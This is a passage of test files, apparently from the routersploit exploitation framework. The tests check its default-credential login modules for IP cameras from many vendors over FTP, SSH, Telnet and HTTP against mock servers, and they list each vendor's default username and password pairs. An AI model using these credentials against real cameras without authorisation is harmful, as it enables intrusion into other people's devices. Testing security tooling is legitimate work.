    "content": "from routersploit.modules.creds.cameras.canon.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"root:camera\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/canon/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.canon.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"root:camera\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/canon/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.canon.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"root:camera\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/canon/test_webinterface_default_creds.py",
    "content": "from flask import request, Response\nfrom base64 import b64decode\nfrom routersploit.modules.creds.cameras.canon.webinterface_http_auth_default_creds import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    if \"Authorization\" in request.headers.keys():\n        creds = str(b64decode(request.headers[\"Authorization\"].replace(\"Basic \", \"\")), \"utf-8\")\n\n        if creds in [\"admin:admin\"]:\n            return \"Authorized\", 200\n\n    resp = Response(\"Unauthorized\")\n    resp.headers[\"WWW-Authenticate\"] = \"Basic ABC\"\n    return resp, 401\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against HTTP server \"\"\"\n\n    cgi_mock = target.get_route_mock(\"/admin/index.html\", methods=[\"GET\", \"POST\"])\n    cgi_mock.side_effect = apply_response\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/cisco/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/cisco/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.cisco.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/cisco/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.cisco.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/cisco/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.cisco.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/dlink/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/dlink/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.dlink.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/dlink/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.dlink.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/dlink/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.dlink.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/geovision/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/geovision/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.geovision.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/geovision/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.geovision.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/geovision/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.geovision.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/grandstream/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/grandstream/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.grandstream.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/grandstream/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.grandstream.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/grandstream/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.grandstream.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/hikvision/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/hikvision/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.hikvision.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:12345\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/hikvision/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.hikvision.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH jserver \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:12345\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/hikvision/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.hikvision.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:12345\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/honeywell/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/honeywell/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.honeywell.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/honeywell/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.honeywell.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/honeywell/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.honeywell.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/iqinvision/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/iqinvision/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.iqinvision.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"root:system\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/iqinvision/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.iqinvision.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"root:system\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/iqinvision/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.iqinvision.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"root:system\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/jvc/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/jvc/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.jvc.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:jvc\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/jvc/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.jvc.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:jvc\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/jvc/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.jvc.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:jvc\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/mobotix/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/mobotix/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.mobotix.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:meinsm\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/mobotix/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.mobotix.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:meinsm\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/mobotix/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.mobotix.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:meinsm\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/samsung/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/samsung/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.samsung.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1111111\", \"admin:4321\", \"root:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/samsung/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.samsung.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1111111\", \"admin:4321\", \"root:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/samsung/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.samsung.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1111111\", \"admin:4321\", \"root:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/sentry360/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/sentry360/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.sentry360.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/sentry360/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.sentry360.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/sentry360/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.sentry360.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/siemens/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/siemens/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.siemens.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/siemens/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.siemens.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/siemens/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.siemens.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/speco/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/speco/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.speco.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/speco/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.speco.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/speco/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.speco.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/stardot/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/cameras/stardot/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.stardot.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/stardot/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.cameras.stardot.ssh_default_creds import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/cameras/stardot/test_telnet_default_creds.py",
